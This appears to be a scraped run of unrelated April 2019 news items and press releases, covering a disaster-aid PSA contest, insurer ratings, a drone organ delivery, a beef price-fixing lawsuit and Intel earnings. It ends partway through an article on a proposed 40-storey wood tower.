Service Announcements for International Disasters contest (PSAid). PSAid is a nationwide contest that calls on college students across the country to submit public service announcement (PSA) entries that demonstrate why monetary donations are the most effective way to support international disaster relief. Through the contest, students learn donation best practices and help convey why "Cash Is Best" in helping aid groups respond to disasters that occur internationally. "This project educated me. I didn't understand the importance of monetary donations before I started," said Areia Worden, first place winner in the digital image category. "The ability to now be able to educate others by utilizing my passions for design feels rewarding and impactful." The 2019 PSAid winners are: Video Print "Be The Change" by Olivia Cardinale, Loyola University Chicago "Cash is Best" by Sarah Hermosillo, Arizona State University "Moneybag" by Riley Padua, Arizona State University "Disasters happen fast, and that's why it's important to show what is the fastest and efficient way to help," said Lisa Trahin, third place winner in the video category. "In my video, I show how cash can travel in more ways than one without leaving a big carbon footprint." This year's winning entries were selected from 112 submissions chosen from a pool of submissions from 167 college students in the categories of video, print and digital image PSAs. Universities played a key role in PSAid, with many professors incorporating the contest into their curricula and a number of classrooms participating in webinars with CIDI staff. The winning PSAs could be featured in prominent magazines or aired during popular television programs, and will be used in CIDI's Cash is Best education efforts. The 2019 contest entries were judged by a panel of experts from the humanitarian and communications fields. This year's judges were Carol Chan, Acting Director, USAID's Office of U.S. Foreign Disaster Assistance; Jeff Joseph, President, Software & Information Industry Association; Lara McDougall Reed, President, Pan Galactic Digital; Erin Taylor, Director of Communications for Humanitarian Response, Save the Children; and Kim Van Syoc, Executive Director, Banfield Foundation. The winning entries may be viewed on the contest website at www.PSAid.org. About USAID CIDI USAID CIDI was created in 1988 by the United States Agency for International Development Office of U.S. Foreign Disaster Assistance to inform the public about the advantages of giving monetary donations to relief organizations and warn about the risks of donating unsolicited material goods. Through its "cash is best" messaging, CIDI's goal is to support donors and relief agencies as they work to provide quick, effective and efficient relief to people affected by disasters. CIDI provides donations guidance to individuals, groups, embassies, businesses and corporations. For more information about USAID CIDI and helping international disaster survivors, please visit USAID CIDI at www.cidi.org. View source version on businesswire.com: https://www.businesswire.com/news/home/20190426005116/en/ [April 26, 2019] AM Best Affirms Credit Ratings of Asian Reinsurance Corporation AM Best has affirmed the Financial Strength Rating of B+ (Good) and the Long-Term Issuer Credit Rating of "bbb-" of Asian Reinsurance Corporation (Asian Re) (Thailand). The outlook of these Credit Ratings (ratings) is stable. The ratings reflect Asian Re's balance sheet strength, which AM Best categorizes as strong, as well as its marginal operating performance, limited business profile and appropriate enterprise risk management (ERM). Asian Re's balance sheet strength is underpinned by its risk-adjusted capitalization, which AM Best expects to remain at the strongest level over the medium term. Capital adequacy is supported by the company's low underwriting leverage and investment portfolio comprising principally cash and short-term deposits. Despite this, a significant portion of its cash and deposits are held offshore in a country subject to sanctions, which continues to be a significant offsetting balance sheet factor. AM Best views this investment strategy as creating increased liquidity and credit risk for Asian Re, as the imposition of existing and future sanctions may drive a heightened potential for transfer restrictions that may impact the company's ability to access its funds in a timely manner. Asian Re's overall earnings remain driven by a steady stream of investment income, which has helped to offset unfavorable technical results over a number of years. The company's five-year average return on equity ratio remains profitable at 3.1% (2014-2018). However, the average combined ratio over the same period exceeds 115%. Due to its small net premium base and adverse reserve development, Asian Re's underwriting performance has exhibited a relatively high level of volatility. Following catastrophe events in Thailand during 2011 and 2012, which led toa need to recapitalize the company, Asian Re faces challenges in growing its premium base and rebuilding its presence in the regional reinsurance market. The company continues to implement a number of strategic initiatives aimed at expanding its underwriting portfolio and market presence. However, the ability of the company to execute on these actions successfully, coupled with continued competitive market conditions, remain key challenges at present. Asian Re's ERM framework is at an evolving stage, with the company taking steps to develop the identification, management and mitigation of key risks. As the scale and complexity of the company's operations continue to increase, Asian Re will need to demonstrate improvements in its risk management capabilities. Ratings are communicated to rated entities prior to publication. Unless stated otherwise, the ratings were not amended subsequent to that communication. This press release relates to Credit Ratings that have been published on AM Best's website. For all rating information relating to the release and pertinent disclosures, including details of the office responsible for issuing each of the individual ratings referenced in this release, please see AM Best's Recent Rating Activity web page. For additional information regarding the use and limitations of Credit Rating opinions, please view Understanding Best's Credit Ratings. For information on the proper media use of Best's Credit Ratings and AM Best press releases, please view Guide for Media - Proper Use of Best's Credit Ratings and AM Best Rating Action Press Releases. AM Best is a global rating agency and information provider with a unique focus on the insurance industry. Visit www.ambest.com for more information. Copyright 2019 by A.M. Best Rating Services, Inc. and/or its affiliates. ALL RIGHTS RESERVED. View source version on businesswire.com: https://www.businesswire.com/news/home/20190426005380/en/ [ Back To TMCnet.com's Homepage ] [April 26, 2019] Phoenix secures $4M in funding from US Army to demonstrate neutron-based nondestructive testing equipment MADISON, Wis., April 26, 2019 /PRNewswire/ -- Phoenix, LLC, a Wisconsin-based nuclear technology company, has secured $4 million in funding from the US Army to demonstrate innovative neutron-based methods of nondestructive testing utilizing its high flux neutron generators. Phoenix's latest contract funds demonstration of a high-throughput, high-resolution thermal neutron imaging system as well as a fast neutron imaging system. Further, Phoenix will take the first steps toward fusing neutron radiographs with X-rays to present inspectors with complementary information in the form of a hybrid image. "With N-ray and X-ray capabilities merged, the technology Phoenix is developing will be instrumental in the inspection of large, complex munitions for the military and vital to ensuring our warfighters continue to receive safe and effective munitions produced in the most efficient manner," says Phoenix President Evan Sengbusch. Phoenix's relationship with the US Army has been ongoing since 2007. In 2014, Phoenix was awarded a $3 million contract with the Army to design and build a first-of-its-kind accelerator-based neutron generator to be used for nondestructive inspection of critical defense components suh as munitions and pyrotechnics, which cannot be inspected for certain defects using X-ray. In 2016, Phoenix was awarded two more contracts valued at a combined $3.6 million to design and build a second-generation neutron generator for detecting defective munitions and to conduct standoff buried IED detection using a Phoenix-developed mobile neutron generator prototype. Under the latest Army contract award, demonstration work will be performed at Phoenix's Neutron Imaging Center (PNIC), in Fitchburg, Wisconsin. PNIC is a paradigm shift both for the company and for neutron imaging. The facility, set to open later in 2019, will offer customers neutron radiography as a service as well as provide a testbed for neutron-based research experiments for both commercial and government customers. PNIC will also serve as a template for additional systems that can be sited at industrial sites across the country and integrated with production and quality assurance operations. This model is intended to reduce nondestructive inspection cycle times and increase accessibility of neutron radiography, which has been hindered by the limited access at the few remaining nuclear reactor facilities offering this capability. About Phoenix: Transforming nuclear technology since 2005, Phoenix designs and manufactures the world's strongest neutron generators. Phoenix's cutting-edge technology has been safely used in the aerospace, defense, medical and energy sectors to improve manufacturing efficiency and quality. Since 2012, Phoenix has designed and delivered neutron generators for a wide range of practical purposes including neutron radiography of aerospace components, nuclear fuel inspection, radiation effects testing, threat detection, and medical isotope production. View original content to download multimedia:http://www.prnewswire.com/news-releases/phoenix-secures-4m-in-funding-from-us-army-to-demonstrate-neutron-based-nondestructive-testing-equipment-300839020.html SOURCE Phoenix, LLC [ Back To TMCnet.com's Homepage ] [April 26, 2019] Ledyard Financial Group Declares Quarterly Dividend Ledyard Financial Group (Ticker Symbol: LFGP) announced today a regular quarterly dividend of $0.18 payable June 3, 2019 to shareholders of record as of May 13, 2019. Ledyard Financial Group, Inc., headquartered in Hanover, New Hampshire, is the holding company for Ledyard National Bank. Ledyard National Bank, founded in 1991, is a full service community bank offering a broad range of banking, investment, tax and wealth management services. Ledyard Financial Group, Inc. shares can be bought and sold through the NASD sanctioned "OTC Markets" under the trading symbol LFGP. Shares may be traded through an individual's broker. For more information, please refer to the "Investor Relations" section of the bank's website at www.ledyardbank.com or contact the Company's President, [email protected] Forward-Looking Statements: Statements concerning future performance, developments or events, expectations for growth and income forecasts, and any other guidance on future periods constitute forward-looking statements that are subject to a number of risks and uncertainties. Actual results may differ materially from stated expectations. Specific factors include, but are not limited to, loan production, competitive pressure in the banking industry, balance sheet management, net interest margin variations, the effect of changes in equity prices on assets under management, the ability to control costs and expenses, changes in the interest rate environment, financial policies of the United States government, and general economic conditions. The Company disclaims any obligation to update any such factors. View source version on businesswire.com: https://www.businesswire.com/news/home/20190426005429/en/ [ Back To TMCnet.com's Homepage ] [April 26, 2019] Siemon Educates the Industry on Cabling Considerations for the Next Wave of Wi-Fi WATERTOWN, Conn., April 26, 2019 /CNW/ -- Siemon, a leading global network infrastructure specialist, today announced a new white paper that covers key design and media selection strategies for designers, consultants, end users and installers to ensure that network cabling infrastructures are prepared to support high-efficiency Wi-Fi access point (WAP) connections. Authored by Valerie Maguire, BSEE, Global Sales Engineer for Siemon, the new white paper entitled, "Preparing for Wi-Fi 6: Cabling Considerations for High Efficiency Wireless Access Point Connections," explains the technology behind the latest IEEE 802.11ax High-Efficiency Wireless (HEW) standard known as Wi-Fi 6 and what users can expect in terms of wireless speeds with this new technology. The new white paper outlines the key cabling design strategies that will ensure structured cabling uplinks will be ready to support Wi-Fi 6, including support for current and future transmission speed and remote powering requirements. "To take full advantage of Wi-Fi 6 technology, it is recommended to deploy two class E A /category 6A shielded or higher performing drops to each WAP or router and a minimum 25-Gig capable backbone to support Wi-Fi 6 uplink capacity," says Maguire. "In addition, Wi-Fi 6 WAPs will need more power and require 30-watt Type 2 PoE, which calls for more thermally stable cabling systems and solid conductor cords. Here t Siemon, we continue to focus on developing innovative solutions that ensure maximum performance and reliability while minimizing heat rise to optimally support WAPs and other PoE-powered devices." In the new white paper, Maguire also covers the use of a grid-based zone cabling architecture, field terminated plugs and other key cabling design strategies to ensure support for Wi-Fi 6. To download the new white paper, "Preparing for Wi-Fi 6: Cabling Considerations for High Efficiency Wireless Access Point Connections" visit go.siemon.com/Wi-Fi_6. About Siemon Established in 1903, Siemon is an industry leader specializing in the design and manufacture of high quality, high performance IT infrastructure solutions and services for Data Centers, LANs and Intelligent Buildings. Headquartered in Connecticut, USA, with global sales, technical and logistics expertise spanning 100 countries, Siemon offers the most comprehensive suites of copper and optical fiber cabling systems, cabinets, racks, cable management, data center power and cooling systems and Intelligent Infrastructure Management solutions. With more than 400 patents specific to structured cabling, Siemon Labs invests heavily in R&D and the development of Industry Standards, underlining the company's long-standing commitment to its customers and the industry. Through an ongoing commitment to waste and energy reduction, Siemon's environmental sustainability benchmarks are unparalleled in the industry, including 179% global carbon negativity and zero-landfill status. Siemon Interconnect Solutions (SIS) is a Siemon business unit comprised of a team of dedicated technical sales professionals supported by Siemon Labs, mechanical, electrical and signal integrity engineers committed to solving industry and customer driven interconnect challenges. We provide custom network infrastructure solutions to: OEM's, Leading Manufacturers, Value-Added Resellers and System Integrators. View original content:http://www.prnewswire.com/news-releases/siemon-educates-the-industry-on-cabling-considerations-for-the-next-wave-of-wi-fi-300839076.html SOURCE Siemon [ Back To TMCnet.com's Homepage ] [April 26, 2019] AiRXOS Participates in Historic Unmanned Aircraft Delivery of Organ for Successful Transplant in Maryland AiRXOS, part of GE Aviation, participated in the world's first unmanned aircraft (UA) flight that delivered a donor kidney to surgeons in Baltimore, Maryland for successful transplantation into a patient with kidney failure. The momentous flight was a collaboration between transplant physicians and researchers at the University of Maryland School of Medicine (UMSOM) in Baltimore; aviation and engineering experts at the University of Maryland (UMD); and collaborators at the Living Legacy Foundation of Maryland (The LLF). While organ transport by drone has been previously tested successfully between medical facilities by the University of Maryland UAS Test Site in St. Mary's County, this is the first time the flight operation was used to deliver an organ for transplant. The unmanned aircraft system (UAS) flight operation was monitored by AiRXOS' Air MobilityTM Platform, a rich, cutting-edge grade framework enabling unmanned traffic management applications, operations and services. The Air Mobility Platform manages the volume, density, and variety of unmanned traffic data, while coordinating and integrating that data within a secure, FAA-compliant, gated cloud environment to ensure safe unmanned operations. Among the many technological firsts of this effort include: a specially designed, high-tech apparatus for maintaining and monitoring a viable human organ; a custom-built UAS with eight rotors and multiple powertrains to ensure consistently reliable performance, even in the case of a possible component failure; the use of a mesh network radios to control the UAS, monitor aircraft status, and provide communications for the ground crew at multiple locations; and aircraft operating systems that combined best practices from both UAS and organ transport standards. Flight Operation Details On Friday, April 19th, at approximately 12:30am, a human donor kidney was loaded onto the UMMC drone. The flight, led by the University of Maryland UAS Test Site at St. Mary's County, commenced at 1:00am. The vehicle traveled 2.6 miles (4.3 km) and flew for approximately 10 minutes. The human kidney was successfully delivered to University of Maryland Medical Center (UMMC) and was scheduled to be used for a transplant surgery at 5:00am. "AiRXOS is honored to have taken part in this landmark moment in medical and aviation history," says Ken Stewart, CEO, AiRXOS. "This flight demonstrated how air mobility can transform the delivery of medical care in ways that can have significant impact on lives. It lays the foundation for future advanced drone operations. AIRXOS is privileged to have worked closely with the UMD team in helping perform this historic flight." "Havinga robust and highly capable partner like AiRXOS teaming with us not only gave us a greater confidence for this particular operation, it really sets the stage for future Unmanned Traffic Management and Beyond Visual Line of Sight research efforts," said Matt Scassero, director of the University of Maryland Unmanned Aircraft System Test Site in St. Mary's County. Maryland faculty and researchers believe this prototype organ transport blazes a trail for the use of UAS to expand access to donated organs, improving outcomes for more people in need of organ transplants. Currently organs are transported by commercial aircraft or charter flights. Organ transplants have a limited window of cold ischemia time (CIT) in which an organ can be chilled and then have blood supply restored. As of January 2019, almost 114,000 individuals were on the national transplant waiting list and every day approximately 80 people receive organ transplants, according to the United Network for Organ Sharing - the nonprofit that manages the transplant system. For sensitive medical deliveries, reducing the amount of travel time in urban settings, as well as vibration during travel can help lead to better outcomes. AIRXOS' Air Mobility Platform is a digital infrastructure for unmanned traffic that supports and benefits advanced operations like medical delivery by providing a unique, agnostic, single point of responsibility to manage and connect heterogeneous sets of operations, applications, and devices - giving enterprises the freedom to manage operations & communications, deploy applications and expand operations as air and ground mobility needs evolve. About AiRXOS AiRXOS is making a new way of moving possible. From people, to cargo, to delivery, inspections, and public safety - we're taking on the global challenge of the digital drone economy and changing the future of transportation. AiRXOS, part of GE Aviation, is digitizing today's airspace, infusing next generation air traffic management technology and services with world-class aviation expertise and execution, AiRXOS is shaping a new era of transportation through global, commercial Unmanned Aircraft (UA) solutions. Learn more at: https://www.airxos.io/, or follow us on LinkedIn. About the University of Maryland School of Medicine Now in its third century, the University of Maryland School of Medicine (UMSOM) was chartered in 1807 as the first public medical school in the United States. It continues today as one of the fastest growing, top-tier biomedical research enterprises in the world-with 43 academic departments, centers, institutes, and programs and a faculty of more than 3,000 physicians, scientists, and allied health professionals, including members of the National Academy of Medicine and the National Academy of Sciences and a distinguished recipient of the Albert E. Lasker Award in Medical Research. With an operating budget of more than $1 billion, UMSOM works closely in partnership with the University of Maryland Medical Center and Medical System to provide research-intensive, academic, and clinically-based care for more than 1.2 million patients each year. UMSOM faculty, which ranks as the 8th highest among public medical schools in research productivity, is an innovator in translational medicine, with 600 active patents and 24 start-up companies. The School works locally, nationally, and globally, with research and treatment facilities in 36 countries around the world. Visit: medschool.umaryland.edu About the University of Maryland The University of Maryland, College Park is the state's flagship university and one of the nation's preeminent public research universities. A global leader in research, entrepreneurship and innovation, the university is home to more than 40,000 students, 10,000 faculty and staff, and 280 academic programs. As one of the nation's top producers of Fulbright scholars, its faculty includes two Nobel (News - Alert) laureates, three Pulitzer Prize winners and 57 members of the national academies. The institution has a $1.9 billion operating budget and secures $514 million annually in external research funding. For more information about the University of Maryland, College Park, visit www.umd.edu. View source version on businesswire.com: https://www.businesswire.com/news/home/20190426005493/en/ [ Back To TMCnet.com's Homepage ] [April 26, 2019] Leading Software Provider eschbach Establishes North American Headquarters in Boston to Serve Rapidly Growing Pharmaceutical Sector Global software developer eschbach, a provider of digital manufacturing solutions in the pharmaceutical, chemical and food manufacturing sectors, announced today that it has established operations in North America. The new business unit, eschbach North America, Inc., is headquartered in Boston, Massachusetts, one of the most important focal points for high-tech companies from all over the world. With its vibrant tech and biotech community, Boston provides both a strategic location as well as access to a considerable pool of talent. With the new U.S. presence, the company will meet the growing demand in North America for its Industry 4.0 solutions, especially in the chemical and pharmaceutical markets. "Our U.S. business has experienced tremendous growth recently," says Andreas Eschbach, CEO of eschbach, who will manage the business worldwide from Boston. "The location fits perfectly with our corporate culture and our goal to be in close proximity to customers in the United States and Canada." The company also announced that it has hired Dennis Ladd as Senior Sales Consultant based in the Boston location. "North America is an extremely important market for eschbach with regard to the chemical and pharmaceutical industry," said Ladd. "In addition, it's a great place to win first-class customers and partners as well as attract top talent to the company." Industry 4.0 Partner of the Pharmaceutical and Chemical Industry Founded in 2005 in Bad Sackingen, German - within close proximity to the Swiss pharmaceutical metropolis of Basel - eschbach has more than 13 years of experience serving leading companies such as Bayer, DuPont, Covestro, Royal DSM (News - Alert) and Sanofi. With the industry-leading Shiftconnector solution, customers can meet their production and operational challenges while arming themselves to address the challenges of plant and process automation. With its new io.Performance solution, manufacturing organizations can reduce costs and increase efficiency with accurate and reliable OEE (Overall Equipment Effectiveness) reporting. "With io.Performance OEE, we offer our users a visually appealing solution that evaluates plant-related information, reduces costs and guarantees maximum transparency," explains Ladd. "We are already very active in the U.S. with both solutions and strategic initiatives to convince many more companies of this." An experienced team of experts has already arrived in Boston. "We have been able to recruit highly qualified colleagues in the USA," said Eschbach. "Our team consists of experienced sales experts and consultants so that we can competently accompany the entire implementation process of customers from the USA and Canada." About eschbach Based in Germany, with U.S. operations in Boston, eschbach develops software for interactive management, transparent communication and documentation. Our solutions provide a new level of networking in manufacturing operations. The company's award-winning Shiftconnector solution is used worldwide by leading production and supply companies such as Bayer and DuPont. For more information about eschbach, visit eschbach.com. View source version on businesswire.com: https://www.businesswire.com/news/home/20190426005537/en/ [ Back To TMCnet.com's Homepage ] [April 26, 2019] Government of Canada supports growth of the digital agriculture industry in Manitoba Winnipeg takes another step forward as a global digital agriculture cluster WINNIPEG, April 26, 2019 /CNW/ - Manitoba's agricultural industry is well positioned to seize global market opportunities through the design and adoption of digital technologies. The Government of Canada is demonstrating its commitment to make that a reality. Today, the Honourable Navdeep Bains, Minister of Innovation, Science and Economic Development and Minister responsible for Western Economic Diversification Canada (WD), announced investments totaling $3,451,167 for two projects to support innovation, skills development, and growth in the digital agriculture industry. The University of Winnipeg (UWinnipeg) will receive $2,451,167 to work in partnership with Enterprise Machine Intelligence and Learning Initiative (EMILI) to promote machine learning and grow the digital agriculture industry in Manitoba. JCA Electronics will receive an investment of $1,000,000 to commercialize a tablet-based precision agriculture platform for farm operators to wirelessly manage implements for seeding, planting, and spraying applications. Through these investments, UWinnipeg, EMILI, and JCA Electronics will become leading experts in digital agriculture, and a new digital tool will be commercialized. It is anticipated that the UWinnipeg project will lead partnerships, both between businesses and with academia, the creation of 180 Highly Qualified Personnel (HQP) jobs, training for 100 HQPs, assistance to 165 small- and medium-sized enterprises, and the delivery of training sessions and two conferences to over 400 individuals. JCA Electronics will see economic benefits that include 25 new HQP jobs, 50 non-HQP jobs, and an estimated $12,300,000 in new incremental sales by December 31, 2022. Canada's Innovation and Skills Plan aims to build an economy in which Canadians have access to high-quality jobs and Canadian businesses are well-placed to participate in a rapidly evolving and competitive global marketplae. Quotes "Our government is laying the foundation for Canadians to become more competitive and succeed in the global economy. These two projects will help grow the digital agricultural industry in Manitoba, boosting economic growth and creating good, middle-class jobs for Canadians." - The Honourable Navdeep Bains, Minister of Innovation, Science and Economic Development and Minister responsible for Western Economic Diversification Canada "Academic institutions like the University of Winnipeg, and companies like JCA Electronics are developing and delivering high tech, digital tools, and technologies that will better equip Canadians farmers as global leaders in the international ag-marketplace." - The Honourable Jim Carr, Minister of International Trade Diversification and Member of Parliament for Winnipeg South Centre "This exciting project is an excellent example of how UWinnipeg researchers are making an impact. This partnership will result in enhanced productivity and will create new opportunities for growth." - Dr. Annette Trimbee, President and Vice-Chancellor, The University of Winnipeg "JCA Electronics is pleased to have the support of the WINN program to speed up our efforts at developing a platform for precision ag technology that adapts agriculture machine controls to advances in the latest technologies driven from other markets. This leverages rapid advancements in technologies such as tablets and smartphones, cloud-connectivity and IoT, and data analytics and mapping to offer increased value to agricultural producers through optimized machine controls. This provides a platform that offers value in today's applications, while providing a bridge to increased technology adoption on a road towards autonomous agricultural machines." - John C. Anderson, President, JCA Electronics Additional Links Western Economic Diversification Canada Innovation and Skills Plan University of Winnipeg JCA Electronics Stay Connected Follow us on Twitter: @WD_Canada, @ISED_CA, @uwinnipeg, @JCA_Electronics WD Homepage WD Toll-Free Number: 1-888-338-WEST (9378) TTY (telecommunications device for the hearing impaired): 1-877-303-3388 Global Affairs Canada Follow us on Twitter: @CanadaTrade Like us on Facebook: Canada's international trade - Global Affairs Canada IF THERE IS A DISCREPANCY BETWEEN ANY PRINTED VERSION AND THE ELECTRONIC VERSION OF THIS NEWS RELEASE, THE ELECTRONIC VERSION WILL PREVAIL. SOURCE Western Economic Diversification Canada [ Back To TMCnet.com's Homepage ] [April 26, 2019] Hagens Berman: Consumers Sue Leading Beef Manufacturers for Massive Antitrust Price-Fixing Scheme A federal class-action lawsuit has revealed that a nationwide cartel of leading meatpacking manufacturers in the $100 billion beef industry forced consumers to pay high prices for steak, hamburgers and other beef products, according to the law firm bringing the case, Hagens Berman. According to the lawsuit filed Apr. 26, 2019 in the U.S. District Court for the District of Minnesota, the price-fixing scheme has been carried out by the biggest names in the industry who control approximately 75 percent of the beef-packing market. If you purchased any fresh or frozen beef products, you may be entitled to reimbursement. Find out your rights to potential compensation and learn more about the lawsuit. The defendants - Tyson, Cargill, National Beef and JBS - are responsible for purchasing beef from ranchers, processing the beef and selling it to retail businesses for purchase by consumers, and attorneys say they have been bilking consumers since 2015 by artificially limiting the amount of beef they purchase, process and sell to retail operations. "Our complaint alleges that families nationwide have been overpaying for years for beef products they buy routinely, unknowingly paying inflated prices fixed by a scheme to limit beef supplies," said Steve Berman, managing partner of Hagens Berman and attorney representing consumers in the class-action lawsuit against the meatpacking defendants. "The result: this $100 billion industry reaped billions of dollars in extra profits while consumers paid far more for beef than they should have. We intend to put an end to it." The class action seeks to recover losses consumers faced under the price-fixing scheme, as well as injunctive relief from the court to put an end to the anticompetitive behavior. The case brings counts of violations of federal and state antitrust laws and unfair competition, unjust enrichment and consumer protection laws. The lawsuit alleges that defendants "entered into a conspiracy to extract maximum profits from the distribution channel of beef - by both extracting all gains from the ranchers who raised the cattle, as well as artificially inflating the price of beef being sold to the consumer." The suit goes on to say that defendants "engaged in a concerted scheme to suppress throughput of beef, artificially depressing both the amount o cattle they purchased and the amount of processed beef they sold to retail operations. The purpose of the scheme was to maximize the margins they received from sale of beef - by both underpaying the farmers, and simultaneously ensuring an overcharge to the consumer." According to an industry insider quoted in the suit, "meat works like the mafia." Executives at companies in the meatpacking industry all know each other, according to the insider, and someone may be a competitor but also a customer. The defendants colluded on their purchases of cattle from ranchers by restricting the amount of cattle they purchased and bid rigging practices that depressed the price of cattle that the defendants purchased through auctions, attorneys claims. Defendants' actions created an artificial shortage of beef, which harmed consumers by elevating the price they paid for beef. The lawsuit alleges that prior to the anticompetitive conduct, the price of cattle sold to the defendants and the price of beef sold by defendants moved in tandem. Following the anticompetitive conduct, the price of cattle fell while the price of beef remained elevated. "It's a matter of common sense that the prices of cattle and beef should move together because beef is simply processed cattle," said Berman. "But these leading meatpacking manufacturers manipulated the market so this natural economic relationship broke down." Agri Stats, an industry forecasting service, assisted the meatpacking defendants, the suit states. Agri Stats has played a key role in both the poultry and swine industries by aiding and abetting the sharing of confidential information that allowed the profits of poultry and pork manufacturers to soar. Agri Stats' reports are at the center of other similar price-fixing lawsuits in the poultry and pig industries. Agri Stats, through its subsidiary, Express Markets, first entered the beef industry in 2015. In the beef industry, Express Markets executives stated that they provided "supply and demand side analysis and forecasting of cattle numbers and beef supplies as well as domestic and international trade impacts," according to the complaint. Prior to the entrance of Express Markets into the beef industry, the suit's defendants reported margins for their beef business significantly lower than their margins in the chicken and pork businesses where Agri Stats was already active. After Express Markets entered the beef business, defendants' profits soared. By 2018, defendants Tyson and JBS reported higher margins for their beef business than for their respective chicken and pork businesses. Hagens Berman has taken the lead in similar cases in the protein industry. Hagens Berman is currently interim lead counsel on behalf of consumers in cases in the pork and poultry industries against many of the same defendants. Hagens Berman also recovered $52 million for consumers for anticompetitive conduct in the dairy industry. Find out more about the class-action lawsuit against the beef industry on behalf of consumers in the U.S. About Hagens Berman Hagens Berman Sobol Shapiro LLP is a consumer-rights class-action law firm with nine offices across the country. The firm's tenacious drive for plaintiffs' rights has earned it numerous national accolades, awards and titles of "Most Feared Plaintiff's Firm," and MVPs and Trailblazers of class-action law. More about the law firm and its successes can be found at www.hbsslaw.com. Follow the firm for updates and news at @ClassActionLaw. View source version on businesswire.com: https://www.businesswire.com/news/home/20190426005617/en/ [ Back To TMCnet.com's Homepage ] (Image credit: Intel) Intel reported its first quarter 2019 results today and gave yet another update on the progress of its 10nm production. Intel CEO Bob Swan stated the company is on track with its 10nm production, saying its 10nm products are moving through the fab at twice the rate, and the company forecasts higher 10nm production in 2019 than previously planned. As I shared earlier, our confidence in 10nm is also improving. In addition to the manufacturing velocity improvement I described earlier, we expect to qualify our first volume 10nm product, Ice Lake, this quarter and are increasing our 10nm volume goals for the year, said Swan. Swan also reported that the company has begun qualifying its 10nm Ice Lake processors, which is a critical first step towards volume production, and maintains the company's previous projections that systems with those chips will hit retail shelves in volume in time for the holidays. On the process technology front, our teams executed well in Q1, and our velocity is increasing. We remain on track to have volume client systems on shelves for the holiday selling season. And over the past four months, the organization drove a nearly 2X improvement in the rate at which 10nm products move through our factories, Swan said. Swan also noted that the company's Ice Lake server chips would come "earlier versus later" in 2020. Image 1 of 8 Image 2 of 8 Image 3 of 8 Image 4 of 8 Image 5 of 8 Image 6 of 8 Image 7 of 8 Image 8 of 8 These positive notes came against a backdrop of decreasing demand in China, among other factors, as the company also expects to notch its first full-year revenue decrease in three years. While revenue at $16.1B was in line with expectations from three months ago, as a result of a softening market after a record-breaking 2018, Intel has revised its full-year revenue outlook downward by $2.5 billion, to $69.0B, representing a 3% decline compared to the $70.8B the company reported for 2018. Image 1 of 9 Image 2 of 9 Image 3 of 9 Image 4 of 9 Image 5 of 9 Image 6 of 9 Image 7 of 9 Image 8 of 9 Image 9 of 9 Intel's desktop volumes dropped 13% Quarter-over-Quarter (QoQ) and 8% Year-over-Year (YoY), but ASPs also improved. Meanwhile, notebook platform volumes dropped dramatically at 16% QoQ and 7% YoY, once again partially offset by a 9% and 13% gains in average selling price (ASP), respectively. The data center group (DCG) also weathered a 17% QoQ and 8% YoY decline, with ASPs declining 4% on the quarter and improving 1% year over year. One year ago, Intel reported earnings well ahead of everyone's expectations, with its data-centric businesses collectively growing 25%. This kicked off a series of great earnings results for the company, with especially the cloud segment growing at up to 50%, resulting in total revenue that was 13% higher than the $62.8 billion of 2017, at $70.8 billion. This higher than expected growth resulted in reports of demand outpacing supply, resulting in shortages. The main victim of this was the Internet of Things business, which had been growing at double digits for years, which now saw a decline of 7% year-on-year, as the company prioritized the production of Core and Xeon processors above Atom and Pentium/Celeron. Even amidst those shortages, last quarter saw the first signs of worsening market conditions, as revenue came in $500 million below the company's expectations nonetheless. At the time, Intel cited significantly weaker modem demand (as a result of weaker phone demand), cloud customers absorbing the capacity that they had put in place in huge volume during the first nine months of 2018, weakness and slowdown in China, and a weakening NAND environment with falling SSD prices. In that sense, the results and outlook presented today are just a continuation of the factors that started playing out last quarter, with tough year-on-year comparisons given the intense growth last year. Revenue came in at $16.1B, the same as last year. However, gross margin declined by 4.0 points to 56.6%, at the lower end of what Intel calls its historical range of 55%-65%, although the company is usually above 60%. Net income was $4.0B, down 11% from last year. Intel revised its 2019 outlook to reflect a "mid single-digit" decline this year, with the non-volatile storage group (NSG), the memory making side of the company, experiencing a high-single digit loss this year. Meanwhile, Intel projects its PC-centric business will decline in the low single-digits. Kansas City ranks as one of most dangerous cities in country, report says A new report from Safe Wise ranks Kansas City as the fifth most dangerous big city in the country.According to its methodology, Safe Wise said Kansas City is the country's fifth most dangerous big city behind St. Louis, Detroit, Baltimore and Memphis. Milwaukee, Cleveland, Albuquerque, Indianapolis and Oakland round out the top 10. Latest reminder that this town remains one of the most violent places in all of the heartland with no real plan to fix the problem from local politicos. Read more: The conference, jointly held by the Vietnamese Embassy and Kyodo PR, featured the participation of representatives from embassies of ten ASEAN countries and 20 African nations in Japan, a number of Japanese ministries and sectors, and more than 50 Japanese businesses. In his remarks, Ambassador Vu Hong Nam reviewed Vietnams outstanding achievements since 1975. Mentioning Vietnam-Japan relations, he hailed Japan as Vietnams important partner in the fields of economy, trade and investment, with significant contributions to socio-economic development in the Southeast Asian country. At the event, delegates were introduced to Vietnams business climate and investment policies, the Vietnam-Japan ties, Japans policies to cope with population aging, Japans satellite research operations, and cooperation between Vietnam and Japan in developing the Micro Dragon satellite. On the sidelines of the conference, Ahmed Araita Ali, Djibouti Ambassador to Japan cum Vietnam, said that the event offered a good chance for him to gain better insight into Vietnams recent economic achievements. Hailing the good relations between Vietnam and Djibouti, the diplomat expressed his wish to continue consolidating ties between the two countries while in his position. He suggested that Vietnam and Djibouti enhance exchange activities, especially between private enterprises, hoping to welcome Vietnamese firms to the international fair hosted in Djibouti every December. There are just a few small problems standing in the way. TreeHugger loves tall wood construction, and we have always been big fans of Peter Busby of Perkins+Will. Busby is now working for the Delta Group in Vancouver, proposing a 40 storey tall wood tower. Busby is quoted in an article by Kerry Gold in the Globe and Mail: Its the tallest we think we can technically make with wood today, Mr. Busby says. We believe we can go somewhere between 35 and 40 storeys. They plan to take energy standards to an unprecedented level, with a rigorously high passive house envelope of about a foot-thick to reduce energy consumption. The building will mostly be made out of cross-laminated timbers (CLT) and dowel laminated timbers (DLT), manufactured in B.C. and culled from damaged trees. We want a zero carbon building in operation, Mr. Busby says. Perkins + Will, Delta Group Busby explains that timber structures are safe and fire retardant because they are designed with a sacrificial layer that turns to carbon, insulating the wood. This is well documented, the way heavy timber buildings have been engineered for a century. Mass Timber Code Coalition/via But there are issues. The building codes have just been revised to permit wood structures up to twelve storeys with wood elements exposed, like they are here, and up to 18 storeys when the wood is all enclosed in gypsum board, like it was at the Brock Commons towers. It took years of work to get the codes to this point. There are "peer review" processes that permit variances from the code, but I suspect that 40 storeys with exposed wood is a serious stretch. There are also zoning issues on this site; it has a height limit of 14 storeys. Sean Pander, the city's green building program manager and a big 